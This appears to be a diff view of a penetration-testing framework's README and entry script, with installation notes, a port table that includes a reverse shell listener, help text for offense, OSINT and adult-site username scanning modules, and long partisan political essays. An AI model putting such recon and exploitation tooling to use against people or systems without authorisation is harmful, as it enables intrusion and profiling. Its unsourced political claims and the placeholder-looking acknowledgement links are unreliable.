cd autarch
|
||||
|
||||
# Install dependencies
|
||||
pip install -r requirements.txt
|
||||
|
||||
# Run
|
||||
python autarch.py
|
||||
```
|
||||
|
||||
The web dashboard starts at `https://localhost:8080` (self-signed cert).
|
||||
|
||||
### Windows Installer
|
||||
|
||||
Download `autarch_public.msi` or `autarch_public.exe` from the [Releases](https://github.com/digijeth/autarch/releases) page.
|
||||
|
||||
## Configuration
|
||||
|
||||
Settings are managed via `autarch_settings.conf` (auto-generated on first run) and the web UI Settings page.
|
||||
|
||||
Key sections: `[server]`, `[llm]`, `[msf]`, `[wireguard]`, `[upnp]`, `[hardware]`
|
||||
|
||||
### LLM Backends
|
||||
|
||||
- **Local** — llama-cpp-python (GGUF models) or HuggingFace Transformers (SafeTensors)
|
||||
- **Claude** — Anthropic Claude API
|
||||
- **OpenAI** — OpenAI-compatible API (custom endpoint support)
|
||||
- **HuggingFace** — HuggingFace Inference API (8 provider options)
|
||||
|
||||
## Ports
|
||||
|
||||
| Port | Service |
|
||||
|-------|---------|
|
||||
| 8080 | Web Dashboard (HTTPS) |
|
||||
| 8081 | MCP Server (SSE) |
|
||||
| 17321 | Archon Server (Android companion) |
|
||||
| 17322 | Reverse Shell Listener |
|
||||
| 51820 | WireGuard VPN |
|
||||
|
||||
## Platform Support
|
||||
|
||||
- **Primary:** Linux (Orange Pi 5 Plus, RK3588 ARM64)
|
||||
- **Supported:** Windows 10/11 (x86_64)
|
||||
- **WebUSB:** Chromium-based browsers required for Direct mode hardware access
|
||||
|
||||
## License
|
||||
|
||||
Restricted Public Release. Authorized use only — activity is logged.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
AUTARCH is a security research and authorized penetration testing platform. Use only on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal. The authors accept no liability for misuse.
|
||||
|
||||
---
|
||||
|
||||
## A Note from the Author
|
||||
|
||||
*This may be the last application I write as my battle against the evilness of the web may be my own downfall. I leave you with this:*
|
||||
|
||||
---
|
||||
|
||||
### AI and Liberty: Who Gets to Decide?
|
||||
|
||||
**By: SsSnake -- Lord of the Abyss --
|
||||
|
||||
Artificial intelligence can erode freedoms or strengthen them—the outcome depends on who controls it, and how we respond to it. The people need to remember, if we don't like the laws being passed or how its being used, let your Representatives know, and if they don't listen, replace them. Their job is to represent us. Not make decisions for us. darkHal is an apolitical group and do not support either party. We do not give a shit about your politics, we only care about the 1's and 0's.
|
||||
|
||||
Artificial intelligence is often presented as a tool of progress—streamlining services, analyzing massive datasets, and empowering individuals. Yet, like any technology, AI is neutral in essence, except when it is deliberately trained not to be. Its ethical impact depends not only on how it is deployed, but also on who deploys it. When placed in the hands of governments, corporations, or malicious actors, AI systems can be weaponized against the very constitutional rights designed to protect citizens. Understanding these risks is essential if liberty is to be preserved in an increasingly automated world.
|
||||
|
||||
One of the main areas of concern lies in the freedom of speech and expression. AI-driven content moderation and recommendation systems, while designed to maintain civility online and recommend material a person may relate to, have the potential to silence dissent and reinforce messages of distrust, hate, and violence. Algorithms, trained to identify harmful or "unsafe" speech, may suppress valid opinions or target certain groups to take their voice away. Citizens who suspect they are being monitored because their posts have been flagged may begin to self-censor, creating a chilling effect that undermines open debate—the cornerstone of American democracy. At the same time, AI-generated deepfakes and manipulated media make it more difficult for the public to separate fact from fiction, creating an environment where truth can be drowned out by manufactured lies. For example, imagine a local election in which a convincing AI-generated video surfaces online showing a candidate making inflammatory remarks they never actually said. Even if the video is later debunked, the damage is already done: news cycles amplify the clip, and social media spreads it widely to millions in a matter of seconds. Voters' trust in the candidate is shaken. The false narrative competes with reality, leaving citizens unsure whom to believe and undermining the democratic process itself. This risk, however, can be mitigated through rapid-response verification systems—such as forcing micro-watermarking in manufactured media at the time of creation, embedded in the pixels, or deploying independent fact-checking networks that can authenticate content before it spreads. Public education campaigns that teach citizens how to identify digital manipulation can also help blunt the impact, ensuring that truth has a fighting chance against falsehoods.
|
||||
|
||||
Yet it is worth acknowledging that many of these defenses have been tried before—and they often fall short. Watermarking and authentication tools can be circumvented or stripped away. Fact-checking networks, while valuable, rarely match the speed and reach of viral misinformation. Public education campaigns struggle against the sheer realism of today's generative tools and ignorance of AI capabilities. I still hear people saying that AI cannot create applications on its own, even when the evidence is in front of them. We live in a time where a human voice can be convincingly cloned in less than thirty seconds, and a fifteen-minute training sample can now reproduce not just words but the subtle cues of emotion and tone that even skilled listeners may find impossible to separate from fabrication. This raises a profound question: if any statement can be manufactured and any artifacts explained, how do we defend truth in a world where authentic voices can be replicated and reshaped at will?
|
||||
|
||||
Some argue that forcing "guardrails" onto AI systems is the only way to prevent harm. Yet this collides with a deeper constitutional question that we must also consider: do programmers have a First Amendment right to express themselves through source code? In American courts, the answer is yes. The courts have recognized that computer code is a form of speech protected under the First Amendment. In Bernstein v. U.S. Department of State (1999), the Ninth Circuit held that publishing encryption code was protected expression, striking down government attempts to license and restrict its dissemination. The Sixth Circuit echoed this in Junger v. Daley (2000), reinforcing that code is not just functional—it communicates ideas. Earlier battles, from United States v. Progressive, Inc. (1979), where the government unsuccessfully tried to block publication of an article describing how to build a hydrogen bomb, to the Pentagon Papers case (1971), where the Supreme Court rejected government efforts to stop newspapers from printing a classified history of the Vietnam War, established how rarely the state can justify restraining the publication of technical or sensitive information without a direct threat to national security. These cases highlight the judiciary's consistent skepticism toward prior restraint, especially when national security is invoked as justification. Although the current Supreme Court has shown it has no issue favoring the rights of specific groups while abridging the rights of others. It is also no secret courts have been using AI more and more to research and write rulings, with little understanding of how LLMs work.
|
||||
|
||||
That same tension between liberty and security also extends beyond speech into the realm of personal privacy. The right to privacy was enshrined in the Fourth Amendment because the framers of the Bill of Rights did not want the government to become like the British crown, empowered to search, seize, and surveil without restraint. AI has enabled exactly that, with the assistance of companies like Google, Meta, and our cellphone providers, who have given real-time access to our location, search history, and everything else our phones collect to anyone who could pay—including the government—regardless of whether they had a warrant. Not that long ago, that realization would have led to mass protests over surveillance. And it did. A government program known as PRISM was exposed, and it was headline news for months. People were outraged for years. But when the news broke about T-Mobile, Verizon, and AT&T selling real-time information to anyone with money, the only ones who got upset were the FTC. Republicans in Congress ranged from being annoyed to furious—at the FTC's "overreaching powers." Only a few cared about the companies themselves, and for specific reasons. The Democrats demanded CEOs answer their questions and called a few hearings, but did nothing. Most people do not even know this happened. The outcome? A fine. This was far worse than PRISM, and nobody cared. With the help of AI, that information has been used to create targeted ads and complete profiles about U.S. citizens that include everything from where you go every day to what kind of underwear you buy.
|
||||
|
||||
Sadly, people have become too stupid to realize that once you realize your rights have been stripped away—because they've been used on you or against you—it's too late to do anything. They do not understand that the argument isn't about whether you have something to hide or not, or just accepting it with a shrug—"because that's just how it is." It's about not letting the government erode our rights. Today's tools such as instant-match facial recognition, predictive policing software, and real-time geolocation tracking allow authorities to monitor citizens on a scale once unimaginable except in East Germany—all without a warrant ever being issued. And until the courts make a ruling in the cellphone provider case, it all seems legal as long as it's a private company doing it. When these systems claim to forecast behavior—predicting who might commit a crime or who might pose a security risk—they open the door to pre-emptive action that undermines the presumption of innocence, and they are being relied on more and more. These are systems prone to issues such as daydreaming or agreeing with their user just because.
|
||||
|
||||
Some technologists argue that the only way to defend against such surveillance is to fight algorithms with algorithms. One emerging approach is the use of a tool we are planning on releasing: darkHal's "Fourth Amendment Protection Plugin," a system designed not merely to obfuscate, but to actively shield users from AI-driven profiling. Rather than attempting the impossible task of disappearing from the digital landscape, darkHal generates layers of synthetic data—fake GPS coordinates, fabricated browsing histories, fake messages, simulated app usage, and false forensic metadata. By blending authentic activity with thousands of AI-generated content items, it prevents surveillance algorithms from producing reliable conclusions about an individual's behavior or location.
|
||||
|
||||
The idea reframes privacy as an act of digital resistance. Instead of passively accepting that AI will map and monitor every action, tools like darkHal inject uncertainty into the system itself. Critics caution that this tactic could complicate legitimate investigations or erode trust in digital records. Yet supporters argue that when the state deploys AI to surveil without warrants or probable cause, citizens may be justified in using AI-driven counter-surveillance tools to defend their constitutional protections. In effect, darkHal embodies a technological assertion of the Fourth Amendment—restoring the principle that people should be secure in their "persons, houses, papers, and effects," even when those papers now exist as data logs and metadata streams.
|
||||
|
||||
These tools then create concerns about due process and equal protection under the law. Courts and law enforcement agencies increasingly turn to algorithmic decision-making to guide bail, sentencing, and parole decisions. Police use AI-driven tools to create reports that have zero oversight, with no way to verify if an error in the facts was due to a malfunctioning AI or a dishonest law enforcement officer. According to Ars Technica, some of these models are trained on biased data, reinforcing the very disparities they are meant to reduce. Their reasoning is often hidden inside opaque "black box" systems, leaving defendants and their attorneys unable to challenge or even understand the basis for adverse rulings. In extreme cases, predictive models raise the specter of "pre-crime" scenarios, where individuals are treated as guilty not for what they have done, but for what a machine predicts they might do.
|
||||
|
||||
If the courtroom illustrates how AI can erode individual rights, the public square shows how it can chill collective ones. The right to assemble and associate freely is another area where AI can become a tool of control. Advanced computer vision allows drones and surveillance cameras to identify and track participants at protests, while machine learning applied to metadata can map entire networks of activists. Leaders may be singled out and pressured, while participants may face intimidation simply for exercising their right to gather. In some countries, AI-based "social scoring" systems already penalize individuals for their associations, and similar mechanisms could emerge elsewhere—such as in the U.S.—if left unchecked.
|
||||
|
||||
The erosion of assembly rights highlights a broader truth: democracy depends not only on the ability to gather and speak, but also on the ability to participate fully in elections. If the public square is vulnerable to AI manipulation, the ballot box is equally at risk. Even the most fundamental democratic right—the right to vote—is not immune. Generative AI makes it easier than ever to flood social media with targeted disinformation, tailoring falsehoods to specific demographics with surgical precision. Automated campaigns can discourage turnout among targeted groups, spread confusion about polling locations or dates, or erode faith in electoral outcomes altogether. If applied to electronic voting systems themselves, AI could exploit vulnerabilities at a scale that would threaten confidence in the legitimacy of elections.
|
||||
|
||||
These risks do not mean that AI is inherently incompatible with constitutional democracy. Rather, they highlight the need for deliberate safeguards such as equal access. If the police can monitor us without warrants in ways the founding fathers could not even fathom—but clearly did not want or would approve of—what's to stop them from taking our other rights away based on technology simply because it didn't exist 249 years ago? Transparency laws can give citizens the right to know when AI is being used, how it was trained, and how it arrives at its conclusions. Independent oversight boards and technical audits can ensure accountability in government deployments. But most importantly, humans must retain ultimate judgment in matters of liberty, justice, and political participation. And if citizens are being monitored with these tools, so should law enforcement and, when possible, the military. Finally, promoting access and digital literacy among the public—on how LLMs are created, used, and how to use them—is essential, so that citizens recognize manipulation when they see it and understand the power—and the limits—of these systems.
|
||||
|
||||
Yet, if left unchecked, artificial intelligence risks becoming a silent but powerful tool to erode constitutional protections without the end user even realizing it is happening. However, if governed wisely, the same technology can help safeguard rights by exposing corruption, enhancing transparency, and empowering individuals. The real question is not whether AI will shape our constitutional order; it is how we will let it.
|
||||
|
||||
---
|
||||
|
||||
## Our Rambling Rant...Who We Are And Why We Do It
|
||||
|
||||
|
||||
We are dedicated to providing cutting-edge security solutions at no cost to the community, and since our source code is protected speech, we are not going anywhere. Criminals makes millions every year selling tools that are designed to be point and disrupt. So we decided why not do the same with security tools, except at no cost for the home user. Until now, governments, criminal organizations and other groups have paid hackers thousands of dollars to buy what are known as 0-day exploits, flaws in software you use everyday that have no fix or patches. Others report them to the manufacturer for money in bounty programs. We use them to create tools that protect YOU and your family members in real-time from these 0-days, as well as advance the right to repair movement and homebrew scene by exploiting these same flaws for good/fun.
|
||||
|
||||
If you are asking yourself why would we do this? It because we are the hackers who still have the core belief that, like anarchy is not about violence and smashing windows, hacking is not about damaging lives, stealing data or making money. Its about pushing boundaries, exploring, finding new and better ways of doing something and improving peoples lives. And for the longest time, hackers were at the forefront of the tech world. They didn't have to buy their own platforms or pay people to like them. Hackers didn't care how many people followed them. Instead of using their real names, they had monikers like Grandmaster Ratte, Mudge, Sid Vicious...and yes, even Lord British.
|
||||
|
||||
They taught us hacking was more a mentality like punk then a adjective describing an action. They taught us that just because we can doesn't meant we should, and if someone tells us we cant, we will prove them wrong...just so we can say we did it. For us, its about having fun, a very important part of living as long as your not hurting other people. And that's what the original hackers from MIT, Berkley and Cal-tech taught us, dating all the way back to the 1950's when computers we more of a mechanical machine and looked nothing like what a computer today looks like, let alone functions like one.
|
||||
|
||||
But everything changed after 9/11 happened. While it was very important people like the members of the Cult of The Dead Cow and other groups came to aid of those fighting the war against a brand new world, one the government knew nothing about (due their own fault). But as the war dragged on and and computers evolved, the hackers did not find the balance between going to far and remembering what the word hacker once meant. They forgot what the core of being one was about. While making money is fine, those tools ended up on the phones and computers of dissidents, reporters and have led to the deaths of people seeking nothing more than a better life or for trying to report on war crimes. They have become the go to tool for dictators controlling their populations. And those tools have continued to evolve. With the dawn of a new AI era, surveillance spyware, crypto-jackers and info stealers are being created faster than ever. And with only a handful of the old guard still active working on projects such as Veilid trying to undo the damage that was done, we are losing the war on safety, privacy and freedom.
|
||||
|
||||
While the immediate effect of these tools were not known to many, and it took years of court cases and FOI requests to reveal just how they were being used by the US government and others, the real damage was already done. Then when these tools were leaked, instead of helping on the front lines to stop the damage being done, the people who created them slipped into C-Suite jobs or government advisor roles making millions with their true backgrounds completely hidden.
|
||||
|
||||
That is why we formed this group. As the old guard moved on, not looking back, no one stepped up to take their place and instead left the next generation to learn on their own. And while some of these groups had the right idea, they had the wrong execution. You know the saying, "The path to hell is paved with good intentions."
|
||||
|
||||
Besides making tools to to help stop the current war online, we also hope to to lead by example. To show the current generation that their are better ways then being malicious, such as releasing tools that will protect you from 0-day exploits. Tools that will outsmart the spyware and malware/ransomware that has infected millions of computer. But also how to still have fun with it.
|
||||
|
||||
No, we are not legion. And some of us are getting old, so we might forget. But its time hackers are no longer a bad word again. For a full history of the hacker revolution, there are some great books. I suggest reading Cult of the Dead Cow: How the Original Hacking Supergroup Might Just Save the World by Joseph Mann. (When I was just a little script kiddie myself in the early 90's, I spent countless hours on their BBS, reading and learning everything I could, so I'm a little biased. And a little traumatized.)
|
||||
|
||||
This is not some manifesto, its just a lesson in history and a plea to other hackers. If we don't want history to repeat at the dawn of this new computing era we just entered, we need hackers on the side of....well chaotic good. If you want to join us, find us (we really are not hiding).
|
||||
|
||||
*Note: While we try to stay away from politics, this has to be said because no one is saying it. Everyone rather cower to someone who thinks they can do whatever they hell they want. People are f\*cking tired of it, and tired of the people we elected to represent us to scared to say what everyone is thinking.*
|
||||
|
||||
*Links to our github and automated pentesting and offensive models will be re-added once our website resigned is complete. For now, find them on Huggingface.*
|
||||
|
||||
---
|
||||
|
||||
### Europe Must Remember: America Needs Us More Than We Need Them
|
||||
|
||||
The silence from Brussels and London has been deafening.
|
||||
|
||||
As President Trump openly muses about acquiring Greenland—including by force—European leaders have responded with little more than diplomatic throat-clearing and carefully worded statements of concern. This timidity is not statesmanship. It is abdication.
|
||||
|
||||
Let us be blunt: Greenland is European territory. It is an autonomous region of Denmark, a NATO ally, an EU-associated territory. Any attempt to take it by force would be an act of war against a European nation. That this even requires stating reveals how far European powers have allowed themselves to be diminished in American eyes.
|
||||
|
||||
The EU and the UK have seemingly forgotten what they are. These are nations and institutions that predate the American experiment by centuries—in some cases, by millennia. Rome rose and fell before English common law was codified. The Treaty of Westphalia established the modern international order while America was still a collection of colonies. Europe has survived plagues, world wars, occupations, and the collapse of empires. It will survive a trade dispute with Washington.
|
||||
|
||||
The same cannot be said in reverse.
|
||||
|
||||
**The Arsenal of Resistance**
|
||||
|
||||
Europe is not without weapons in an economic conflict—and they are far more potent than Washington seems to appreciate.
|
||||
|
||||
Consider pharmaceuticals. European companies supply a staggering portion of America's medicines. Novo Nordisk, Sanofi, AstraZeneca, Roche, Bayer—these names are not optional for American patients. An export restriction on critical medications would create a healthcare crisis within weeks. The United States simply does not have the domestic capacity to replace these supplies.
|
||||
|
||||
Then there is aerospace. Airbus delivers roughly half of all commercial aircraft purchased by American carriers. Boeing cannot meet domestic demand alone, as its ongoing production disasters have made painfully clear. European aviation authorities could slow-walk certifications, delay deliveries, or restrict parts supplies. American airlines would feel the pinch immediately.
|
||||
|
||||
Financial services offer another pressure point. London remains a global financial hub despite Brexit. European banks hold substantial American assets and conduct enormous daily transaction volumes with US counterparts. Regulatory friction, transaction delays, or capital requirements could introduce chaos into markets that depend on seamless transatlantic flows.
|
||||
|
||||
Luxury goods, automobiles, specialty chemicals, precision machinery, wine and spirits, fashion—the list continues. Europe exports goods America's wealthy and middle class have grown accustomed to. Tariffs work both ways, and European consumers can find alternatives for American products far more easily than Americans can replace a BMW, a bottle of Bordeaux, or a course of medication.
|
||||
|
||||
And then there is the nuclear option: the US dollar's reserve currency status depends in part on European cooperation. If the EU began conducting more trade in euros, requiring euro settlement for energy purchases, or coordinating with other blocs to reduce dollar dependence, the long-term consequences for American economic hegemony would be severe. This would not happen overnight, but the mere credible threat of movement in this direction should give Washington pause.
|
||||
|
||||
**The Costs for America**
|
||||
|
||||
The consequences of a genuine EU-US economic rupture would be asymmetric—and not in America's favor.
|
||||
|
||||
American consumers would face immediate price shocks. Goods that currently flow freely across the Atlantic would become scarce or expensive. Pharmaceutical shortages would strain an already fragile healthcare system. Automotive supply chains would seize. Technology companies dependent on European components, software, and talent would scramble.
|
||||
|
||||
American farmers, already battered by previous trade wars, would lose one of their largest export markets. Soybeans, pork, poultry, and agricultural machinery would stack up in warehouses while European buyers turned to Brazil, Argentina, and domestic producers.
|
||||
|
||||
The financial sector would face regulatory balkanization. American banks operating in Europe would confront new compliance burdens. Investment flows would slow. The certainty that has underpinned transatlantic commerce for decades would evaporate.
|
||||
|
||||
Perhaps most critically, American diplomatic isolation would accelerate. If Washington demonstrates it is willing to bully its closest allies, why would any nation trust American commitments? The soft power that has been America's greatest asset since 1945 would erode further, pushing more countries toward Beijing's orbit—precisely the outcome American strategists claim to fear most.
|
||||
|
||||
**The Ukraine Question**
|
||||
|
||||
Some will argue that European resistance to American pressure would harm Ukraine. This concern deserves acknowledgment—and a clear-eyed response.
|
||||
|
||||
Yes, American military aid has been critical to Ukraine's defense. Yes, a rupture in transatlantic relations could complicate the flow of weapons and intelligence. Yes, Kyiv would suffer if its two largest backers turned on each other.
|
||||
|
||||
But let us be absolutely clear about where responsibility would lie: with Washington.
|
||||
|
||||
Europe has already demonstrated its commitment to Ukraine. The EU has provided tens of billions in financial assistance, welcomed millions of refugees, imposed sweeping sanctions on Russia, and begun the long process of integrating Ukraine into European structures. This support would continue—and likely intensify—regardless of American posturing. If anything, American abandonment would accelerate European defense integration and military investment, ultimately producing a more capable and self-reliant European security architecture.
|
||||
|
||||
If Ukraine suffers because the United States chose to bully its allies rather than work with them, that is an American failure, not a European one. Europe did not pick this fight. Europe is not threatening to seize allied territory. Europe is not issuing ultimatums and demanding policy changes under threat of economic warfare.
|
||||
|
||||
Washington wants to play the bully and then blame Europe for the consequences? That narrative must be rejected categorically. The EU and UK should make clear: we will defend Ukraine, we will defend ourselves, and we will not be blackmailed. If the transatlantic relationship fractures, history will record who swung the hammer.
|
||||
|
||||
**A Call for Courage**
|
||||
|
||||
The United States depends on global supply chains for everything from pharmaceuticals to rare earth minerals, consumer electronics to industrial machinery. American manufacturing has been hollowed out over decades of offshoring. The country runs persistent trade deficits precisely because it cannot produce what it consumes. Europe, by contrast, maintains robust manufacturing bases, agricultural self-sufficiency in key sectors, and—critically—the institutional knowledge to rebuild what has atrophied.
|
||||
|
||||
Yes, a genuine economic rupture with America would be painful. Germany would need to revive its defense industrial base. European nations would need to accelerate military integration and spending. Supply chains would require restructuring. None of this would be pleasant or cheap.
|
||||
|
||||
But Europe would adapt. It always has.
|
||||
|
||||
The deeper issue is not economic arithmetic. It is the fundamental question of sovereignty. When the United States threatens to withdraw support unless European nations adopt particular policies—whether on trade, technology, or anything else—it is not behaving as an ally. It is behaving as a suzerain issuing commands to vassal states.
|
||||
|
||||
This must end.
|
||||
|
||||
European leaders need to communicate, clearly and publicly, that the transatlantic relationship is a partnership of equals or it is nothing. The United States does not dictate European trade policy. It does not dictate European environmental regulations. It does not dictate which nations Europe may conduct commerce with. And it absolutely does not get to annex European territory through threats or force.
|
||||
|
||||
If Washington wishes to play hardball, Brussels and London should be prepared to respond in kind. The tools exist. The leverage exists. The only question is whether European leaders have the spine to use them.
|
||||
|
||||
The current moment calls for steel, not silk. European leaders must remind Washington of a simple truth: alliances are built on mutual respect, not submission. The United States is not in charge of the world. It does not write the laws of other nations. And if it wishes to remain a partner rather than become an adversary, it would do well to remember that Europe has options—and the will to use them.
|
||||
|
||||
The only question is whether European leaders have the courage to say so.
|
||||
|
||||
---
|
||||
|
||||
### About darkHal Security Group
|
||||
|
||||
> *"There's a reason you separate military and the police. One fights the enemies of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people."* — Commander Adama, Battlestar Galactica
|
||||
|
||||
---
|
||||
|
||||
## Acknowledgements
|
||||
|
||||
AUTARCH builds on the work of many outstanding open-source projects. We thank and acknowledge them all:
|
||||
|
||||
### Frameworks & Libraries
|
||||
|
||||
- [Flask](https://flask.palletsprojects.com/) — Web application framework
|
||||
- [Jinja2](https://jinja.palletsprojects.com/) — Template engine
|
||||
- [llama.cpp](https://github.com/ggml-org/llama.cpp) — Local LLM inference engine
|
||||
- [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) — Python bindings for llama.cpp
|
||||
- [HuggingFace Transformers](https://github.com/huggingface/transformers) — ML model library
|
||||
- [Anthropic Claude API](https://docs.anthropic.com/) — Cloud LLM backend
|
||||
- [FastMCP](https://github.com/jlowin/fastmcp) — Model Context Protocol server
|
||||
|
||||
### Security Tools
|
||||
|
||||
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — Penetration testing framework
|
||||
- [RouterSploit](https://github.com/threat9/routersploit) — Router exploitation framework
|
||||
- [Nmap](https://nmap.org/) — Network scanner and mapper
|
||||
- [Wireshark / tshark](https://www.wireshark.org/) — Network protocol analyzer
|
||||
- [Scapy](https://scapy.net/) — Packet crafting and analysis
|
||||
- [WireGuard](https://www.wireguard.com/) — Modern VPN tunnel
|
||||
|
||||
### Hardware & Mobile
|
||||
|
||||
- [@yume-chan/adb](https://github.com/nicola-nicola/nicola-nicola) — ADB over WebUSB
|
||||
- [android-fastboot](https://github.com/nicola-nicola/nicola-nicola) — Fastboot over WebUSB
|
||||
- [esptool-js](https://github.com/nicola-nicola/nicola-nicola) — ESP32 flashing in browser
|
||||
- [Android Platform Tools](https://developer.android.com/tools/releases/platform-tools) — ADB & Fastboot CLI
|
||||
- [esptool](https://github.com/nicola-nicola/nicola-nicola) — ESP32 firmware flashing
|
||||
- [pyserial](https://github.com/pyserial/pyserial) — Serial port communication
|
||||
- [pyshark](https://github.com/KimiNewt/pyshark) — Wireshark Python interface
|
||||
- [scrcpy](https://github.com/Genymobile/scrcpy) — Android screen mirroring
|
||||
- [libadb-android](https://github.com/nicola-nicola/nicola-nicola) — ADB client for Android
|
||||
|
||||
### Python Libraries
|
||||
|
||||
- [bcrypt](https://github.com/pyca/bcrypt) — Password hashing
|
||||
- [requests](https://github.com/psf/requests) — HTTP client
|
||||
- [msgpack](https://github.com/msgpack/msgpack-python) — Serialization (Metasploit RPC)
|
||||
- [cryptography](https://github.com/pyca/cryptography) — Cryptographic primitives
|
||||
- [PyCryptodome](https://github.com/Legrandin/pycryptodome) — AES encryption
|
||||
- [Pillow](https://github.com/python-pillow/Pillow) — Image processing
|
||||
- [qrcode](https://github.com/lincolnloop/python-qrcode) — QR code generation
|
||||
- [zeroconf](https://github.com/python-zeroconf/python-zeroconf) — mDNS service discovery
|
||||
- [PyInstaller](https://github.com/pyinstaller/pyinstaller) — Executable packaging
|
||||
- [cx_Freeze](https://github.com/marcelotduarte/cx_Freeze) — MSI installer packaging
|
||||
|
||||
### Android / Kotlin
|
||||
|
||||
- [AndroidX](https://developer.android.com/jetpack/androidx) — Jetpack libraries
|
||||
- [Material Design 3](https://m3.material.io/) — UI components
|
||||
- [Conscrypt](https://github.com/nicola-nicola/nicola-nicola) — SSL/TLS provider for Android
|
||||
|
||||
### Build Tools
|
||||
|
||||
- [esbuild](https://esbuild.github.io/) — JavaScript bundler
|
||||
- [Gradle](https://gradle.org/) — Android build system
|
||||
|
||||
### Data Sources
|
||||
|
||||
- [NVD API v2.0](https://nvd.nist.gov/developers/vulnerabilities) — National Vulnerability Database
|
||||
|
||||
---
|
||||
|
||||
*Built with discipline by darkHal Security Group & Setec Security Labs.*
|
||||
2
activate.sh
Normal file
2
activate.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
source "$(dirname "$(realpath "$0")")/venv/bin/activate"
|
||||
BIN
autarch.ico
Normal file
BIN
autarch.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 64 KiB |
801
autarch.py
Normal file
801
autarch.py
Normal file
@@ -0,0 +1,801 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
AUTARCH - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking
|
||||
By darkHal Security Group and Setec Security Labs
|
||||
|
||||
Main entry point for the AUTARCH framework.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import shutil
|
||||
import argparse
|
||||
import importlib.util
|
||||
from pathlib import Path
|
||||
from textwrap import dedent
|
||||
|
||||
# Version info
|
||||
VERSION = "1.3"
|
||||
BUILD_DATE = "2026-01-14"
|
||||
|
||||
# Ensure the framework directory is in the path
|
||||
FRAMEWORK_DIR = Path(__file__).parent
|
||||
sys.path.insert(0, str(FRAMEWORK_DIR))
|
||||
|
||||
from core.banner import Colors, clear_screen, display_banner
|
||||
|
||||
|
||||
def get_epilog():
|
||||
"""Get detailed help epilog text."""
|
||||
return f"""{Colors.BOLD}CATEGORIES:{Colors.RESET}
|
||||
defense Defensive security tools (hardening, audits, monitoring)
|
||||
offense Penetration testing (Metasploit integration, exploits)
|
||||
counter Counter-intelligence (threat hunting, anomaly detection)
|
||||
analyze Forensics & analysis (file analysis, strings, hashes)
|
||||
osint Open source intelligence (email, username, domain lookup)
|
||||
simulate Attack simulation (port scan, payloads, stress test)
|
||||
|
||||
{Colors.BOLD}MODULES:{Colors.RESET}
|
||||
chat Interactive LLM chat interface
|
||||
agent Autonomous AI agent with tool access
|
||||
msf Metasploit Framework interface
|
||||
defender System hardening and security checks
|
||||
counter Threat detection and hunting
|
||||
analyze File forensics and analysis
|
||||
recon OSINT reconnaissance (email, username, phone, domain)
|
||||
adultscan Adult site username scanner
|
||||
simulate Attack simulation tools
|
||||
|
||||
{Colors.BOLD}EXAMPLES:{Colors.RESET}
|
||||
{Colors.DIM}# Start interactive menu{Colors.RESET}
|
||||
python autarch.py
|
||||
|
||||
{Colors.DIM}# Run a specific module{Colors.RESET}
|
||||
python autarch.py -m chat
|
||||
python autarch.py -m adultscan
|
||||
python autarch.py --module recon
|
||||
|
||||
{Colors.DIM}# List all available modules{Colors.RESET}
|
||||
python autarch.py -l
|
||||
python autarch.py --list
|
||||
|
||||
{Colors.DIM}# Quick OSINT username scan{Colors.RESET}
|
||||
python autarch.py osint <username>
|
||||
|
||||
{Colors.DIM}# Show current configuration{Colors.RESET}
|
||||
python autarch.py --show-config
|
||||
|
||||
{Colors.DIM}# Re-run setup wizard{Colors.RESET}
|
||||
python autarch.py --setup
|
||||
|
||||
{Colors.DIM}# Skip setup (run without LLM){Colors.RESET}
|
||||
python autarch.py --skip-setup
|
||||
|
||||
{Colors.DIM}# Use alternate config file{Colors.RESET}
|
||||
python autarch.py -c /path/to/config.conf
|
||||
|
||||
{Colors.BOLD}FILES:{Colors.RESET}
|
||||
autarch_settings.conf Main configuration file
|
||||
user_manual.md Comprehensive user manual
|
||||
custom_adultsites.json Custom adult sites storage
|
||||
custom_sites.inf Bulk import domains file
|
||||
GUIDE.md Quick reference guide
|
||||
DEVLOG.md Development log
|
||||
|
||||
{Colors.BOLD}CONFIGURATION:{Colors.RESET}
|
||||
LLM settings:
|
||||
model_path Path to GGUF model file
|
||||
n_ctx Context window size (default: 4096)
|
||||
n_threads CPU threads (default: 4)
|
||||
n_gpu_layers GPU layers to offload (default: 0)
|
||||
temperature Sampling temperature (default: 0.7)
|
||||
|
||||
MSF settings:
|
||||
host Metasploit RPC host (default: 127.0.0.1)
|
||||
port Metasploit RPC port (default: 55553)
|
||||
ssl Use SSL connection (default: true)
|
||||
autoconnect Auto-start msfrpcd on launch (default: true)
|
||||
|
||||
{Colors.BOLD}METASPLOIT AUTO-CONNECT:{Colors.RESET}
|
||||
On startup, AUTARCH will:
|
||||
1. Scan for existing msfrpcd server
|
||||
2. If found: stop it and prompt for new credentials
|
||||
3. Start msfrpcd with sudo (for raw socket module support)
|
||||
4. Connect to the server
|
||||
|
||||
To skip autoconnect: python autarch.py --no-msf
|
||||
Quick connect: python autarch.py --msf-user msf --msf-pass secret
|
||||
Without sudo: python autarch.py --msf-no-sudo
|
||||
|
||||
{Colors.BOLD}MORE INFO:{Colors.RESET}
|
||||
Documentation: See GUIDE.md for full documentation
|
||||
Development: See DEVLOG.md for development history
|
||||
|
||||
{Colors.DIM}Project AUTARCH - By darkHal Security Group and Setec Security Labs{Colors.RESET}
|
||||
"""
|
||||
|
||||
|
||||
def create_parser():
|
||||
"""Create the argument parser."""
|
||||
parser = argparse.ArgumentParser(
|
||||
prog='autarch',
|
||||
description=f'{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking',
|
||||
epilog=get_epilog(),
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
add_help=False # We'll add custom help
|
||||
)
|
||||
|
||||
# Help and version
|
||||
parser.add_argument(
|
||||
'-h', '--help',
|
||||
action='store_true',
|
||||
help='Show this help message and exit'
|
||||
)
|
||||
parser.add_argument(
|
||||
'-v', '--version',
|
||||
action='store_true',
|
||||
help='Show version information and exit'
|
||||
)
|
||||
|
||||
# Configuration
|
||||
parser.add_argument(
|
||||
'-c', '--config',
|
||||
metavar='FILE',
